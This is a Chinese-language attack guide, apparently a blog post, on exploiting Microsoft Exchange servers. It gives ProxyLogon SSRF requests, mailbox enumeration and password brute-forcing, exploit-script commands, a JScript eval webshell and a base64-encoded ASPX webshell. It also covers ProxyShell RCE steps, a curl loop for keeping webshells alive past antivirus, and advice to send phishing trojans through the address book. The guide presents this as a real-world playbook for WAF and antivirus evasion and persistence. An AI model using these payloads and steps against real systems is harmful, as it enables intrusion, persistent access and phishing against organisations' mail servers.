漏洞分析 | Exchange 漏洞利用
字数 1205 2025-08-20 18:17:07

Exchange漏洞利用全面指南

1. Exchange服务器发现与识别

1.1 通过SPN发现Exchange服务器

使用以下命令快速发现环境中是否存在Exchange服务器:

setspn -q */*
setspn -T 域名 -F -Q */* | findstr exchange

1.2 定位Exchange服务器

方法一:通过SPN发现

  • 执行上述SPN查询后,可以直接ping发现的Exchange服务器名称
    ping WIN-BN4UGESV2UD
    

方法二:使用fscan扫描

  • 扫描结果中查找路径为/owa/auth/的服务器

1.3 查看Exchange版本

  • 右键查看网页源代码,通常可以在源代码中找到Exchange版本信息

2. 信息收集

2.1 使用工具收集

  • 获取IP地址、版本号、域名、机器名等信息

2.2 手工收集(使用Burp)

获取机器名和LegacyDN:

POST /ecp/target.js HTTP/2
Host: win-bn4ugesv2ud
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: X-BEResource=localhost~1941962754
Content-Type: text/xml
Content-Length: 2

修改目标机器名和域名:

POST /ecp/target.js HTTP/2
Host: win-bn4ugesv2ud
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: X-BEResource=[name]@win-bn4ugesv2ud.hack.com:443/autodiscover/autodiscover.xml?#~1941962754
Content-Type: text/xml
Content-Length: 345

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
  <Request>
    <EMailAddress>administrator@hack.com</EMailAddress>
    <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
  </Request>
</Autodiscover>

3. 邮箱账户枚举与爆破

3.1 判断邮箱账户是否存在

使用CVE-2021-26855 PoC脚本枚举有效邮箱账户:

go run CVE-2021-26855-PoC.go -h win-bn4ugesv2ud -U user.txt

3.2 爆破邮箱密码

  1. 将爆破出来的邮箱账户组成字典
  2. 使用Intruder对收集到的密码进行爆破
  3. 如果密码正确,可以进入下一步操作

4. 漏洞利用方法

4.1 方法一:使用Python脚本

前提条件:需要爆破出有效邮箱账户

脚本关键部分

fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test', 'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'key', 'no-reply']
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

执行命令

python exp.py -u 192.168.181.239 -user administrator -suffix @hack.com

Webshell密码code

4.2 方法二:使用批量利用脚本

python exp2.py win-bn4ugesv2ud
  • 该脚本会对当前目录下users.txt中的用户进行利用
  • 可以放大量用户或从步骤3获取的有效用户

4.3 方法三:使用ProxyShell RCE

python proxyshell_rce.py -u https://192.168.181.239 -e administrator@hack.com

运行后依次输入:

Get-MailboxExportRequest
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false
dropshell

注意:实战中可能遇到Exchange环境虽然是system权限但无法执行命令的情况,可能是被限制执行命令或杀软导致。

5. 绕过WAF的高级利用

5.1 生成加密Webshell

  1. 使用ProxyShell Payload工具生成加密webshell

    • 修改脚本末尾部分替换为自定义webshell
    • 运行得到payload(encode部分)
  2. 利用ProxyShell RCE脚本进行攻击

    • 安装依赖
    • 将上一步得到的payload复制到proxyshell_rce.py的314行中

5.2 生成并上传ASPX Webshell

以下内容用于生成一个123.aspx文件,访问一次就会在当前目录生成webshell:

PHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK

绕过杀软技巧

  • 编写sh脚本挂在服务器上持续访问webshell链接,防止被删除:
#!/bin/bash
while true
do
  curl -ki https://xxxx.xxx//aspnet_client/ixxxot.aspx
done

6. 后台信息收集

  1. 在后台可以检索通讯录发送钓鱼木马
  2. 可以检索通讯录进行进一步爆破(用于报告编写)

7. 注意事项

  1. 实战中自带webshell容易被查杀,建议自定义webshell内容
  2. 脚本可能需要多次尝试才能成功
  3. 遇到执行限制时,考虑是否是杀软或执行策略导致
  4. 对于WAF防护的环境,需要使用加密webshell和持续访问技巧

通过以上步骤,可以全面利用Exchange服务器漏洞获取系统权限,同时提供绕过防护和持久化访问的方法。

Exchange漏洞利用全面指南 1. Exchange服务器发现与识别 1.1 通过SPN发现Exchange服务器 使用以下命令快速发现环境中是否存在Exchange服务器: 1.2 定位Exchange服务器 方法一:通过SPN发现 执行上述SPN查询后,可以直接ping发现的Exchange服务器名称 方法二:使用fscan扫描 扫描结果中查找路径为 /owa/auth/ 的服务器 1.3 查看Exchange版本 右键查看网页源代码,通常可以在源代码中找到Exchange版本信息 2. 信息收集 2.1 使用工具收集 获取IP地址、版本号、域名、机器名等信息 2.2 手工收集(使用Burp) 获取机器名和LegacyDN: 修改目标机器名和域名: 3. 邮箱账户枚举与爆破 3.1 判断邮箱账户是否存在 使用CVE-2021-26855 PoC脚本枚举有效邮箱账户: 3.2 爆破邮箱密码 将爆破出来的邮箱账户组成字典 使用Intruder对收集到的密码进行爆破 如果密码正确,可以进入下一步操作 4. 漏洞利用方法 4.1 方法一:使用Python脚本 前提条件 :需要爆破出有效邮箱账户 脚本关键部分 : 执行命令 : Webshell密码 : code 4.2 方法二:使用批量利用脚本 该脚本会对当前目录下users.txt中的用户进行利用 可以放大量用户或从步骤3获取的有效用户 4.3 方法三:使用ProxyShell RCE 运行后依次输入: 注意 :实战中可能遇到Exchange环境虽然是system权限但无法执行命令的情况,可能是被限制执行命令或杀软导致。 5. 绕过WAF的高级利用 5.1 生成加密Webshell 使用ProxyShell Payload工具生成加密webshell 修改脚本末尾部分替换为自定义webshell 运行得到payload(encode部分) 利用ProxyShell RCE脚本进行攻击 安装依赖 将上一步得到的payload复制到proxyshell_ rce.py的314行中 5.2 生成并上传ASPX Webshell 以下内容用于生成一个123.aspx文件,访问一次就会在当前目录生成webshell: 绕过杀软技巧 : 编写sh脚本挂在服务器上持续访问webshell链接,防止被删除: 6. 后台信息收集 在后台可以检索通讯录发送钓鱼木马 可以检索通讯录进行进一步爆破(用于报告编写) 7. 注意事项 实战中自带webshell容易被查杀,建议自定义webshell内容 脚本可能需要多次尝试才能成功 遇到执行限制时,考虑是否是杀软或执行策略导致 对于WAF防护的环境,需要使用加密webshell和持续访问技巧 通过以上步骤,可以全面利用Exchange服务器漏洞获取系统权限,同时提供绕过防护和持久化访问的方法。